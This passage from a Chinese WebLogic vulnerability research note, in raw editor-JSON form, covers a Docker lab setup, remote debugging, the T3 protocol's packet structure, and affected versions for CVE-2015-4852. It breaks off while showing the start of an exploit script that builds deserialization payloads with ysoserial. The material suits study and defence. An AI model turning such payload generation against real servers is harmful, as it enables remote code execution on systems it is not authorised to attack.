#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lWtN-1673491377744&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Gdxb-1673491405351&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yUOm-1673491405350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p069-1673491405353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHi1-1673491372913&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hq2i-1673491372911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wRTE-1673491443864&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f6Yo-1673491443862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Docker构建：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Tyv-1673491450914&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AWPP-1673491450913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PQ1J-1673491447976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3ESw-1673491451298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3qUx-1673491451297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4l4-1673491451300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Euem-1673491451299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PAGA-1673491265699&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZ6T-1673491265697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于Centos8已与2022年底停止维护，这里需要提前跟换yum源：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ioRW-1673491553354&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4909/WEBRESOURCE64df61f18e98bcb79d8b0f98f912edc4&#34;,&#34;width&#34;:605,&#34;height&#34;:355},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTa1-1673491588716&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q1JR-1673491588715&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WbdW-1673490309275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN cd /etc/yum.repos.d/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IxgD-1673491597937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iP1E-1673491597936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s/mirrorlist/#mirrorlist/g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LVOL-1673491597939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SD-1673491597938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;37YC-1673491584697&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qwok-1673491584696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置远程调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4Lc-1673491696734&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JbMC-1673491696733&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jeO-1673491679517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;kdir ./middleware&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZmXZ-1673491697201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gaX8-1673491697200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xvVt-1673491697205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RiTc-1673491697204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nmaL-1673491697209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W2O8-1673491697208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddTQ-1673491627410&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x5qG-1673491627409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将docker中的主要lib目录拷贝出来，IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5M1C-1673491870518&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4922/WEBRESOURCEa5f120f434b304501a2efab26d14445a&#34;,&#34;width&#34;:1326,&#34;height&#34;:476},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkdV-1673491584862&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rFG9-1673491584861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时将/wlserver/server/lib目录作为lib导入：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DC8N-1673492159524&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4925/WEBRESOURCE609c5e20ad563040081ddacd597589e5&#34;,&#34;width&#34;:305,&#34;height&#34;:493},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t0ZA-1673491585004&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jhS-1673491585003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置remote调试端口即可：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rNCt-1673492232548&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4930/WEBRESOURCEbbd544eff03ee1fb001e1a5a7ce37939&#34;,&#34;width&#34;:572,&#34;height&#34;:392},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9vO-1673491585167&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QRf5-1673491585166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;启动调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JyD4-1673493026569&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4935/WEBRESOURCEd47bdc412d359d420c99b49fc71e14bc&#34;,&#34;width&#34;:2808,&#34;height&#34;:1516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwoa-1673493052602&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4937/WEBRESOURCEda7147dbf613e3fd4381c0e4425f5c19&#34;,&#34;width&#34;:695,&#34;height&#34;:191},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OhB4-1673505623997&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZtnD-1673505623998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2NFu-1673493063764&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZDKD-1673493063762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;T3协议：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ToWZ-1673493290157&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a5QT-1673493290156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic RMI是Weblogic对于Java RMI的实现，其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c4Ts-1673505380809&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fhpd-1673505380807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;数据包中前四个字符描述数据包长度，而后为T3的协议头，同时每个标准反序列化头部aced0005前会新增一个fe010000字段：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DR8A-1673505381525&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4963/WEBRESOURCEe44aaacd6cc4d45e000151c0d2beac0f&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9eGc-1673493702659&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4952/WEBRESOURCEac5e2b49c529dd47e3d31d31627e229c&#34;,&#34;width&#34;:560,&#34;height&#34;:204},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ORod-1673493024074&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rhUQ-1673493024075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;更多内容参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tmgK-1673493762548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecUD-1673493762547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;WqpW-1673493762925&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tjjy-1673493762926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knIi-1673493762938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bBNc-1673493748254&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6cJn-1673493748252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l79f-1673493773767&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IAlj-1673493773766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2015-4852&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r5M5-1673851457133&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pZY7-1673851457134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJI3-1673851463438&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u6bg-1673851463437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RzLZ-1673851502693&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jzUQ-1673851502692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d2HC-1673851496206&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;suVy-1673851496205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vkSr-1673851496208&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PMGB-1673851496207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IKHp-1673851446141&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mrmo-1673851446139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kTy2-1673493798953&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0KZo-1673493798954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;找了一份&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;05Iv-1673503802099&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/u/38490&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QALS-1673503802101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;sp4z&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjr0-1673503802116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;师傅的脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nDt2-1673503811887&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KSCC-1673503811886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jjmu-1673503809293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from os import popen&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PeVu-1673503823677&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KJVv-1673503823676&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct # 负责大小端的转换&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mh9o-1673503823679&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Wz7-1673503823678&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y06G-1673503823681&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8jlr-1673503823680&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from sys import stdout&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DtyQ-1673503823683&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K5nP-1673503823682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;24qh-1673503823685&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qk0X-1673503823684&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import re&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kHOY-1673503823687&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FVh-1673503823686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;85R4-1673503823689&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fp9o-1673503823688&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2UKR-1673503823691&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dZ67-1673503823690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def generatePayload(gadget,cmd):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ylG4-1673503823693&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M2C4-1673503823692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    YSO_PATH = \&#34;/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQYo-1673503823695&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cTS2-1673503823694&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    popen = subprocess.Popen([&#39;java&#39;,&#39;-jar&#39;,YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F4Pd-1673503823697&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pe42-1673503823696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return 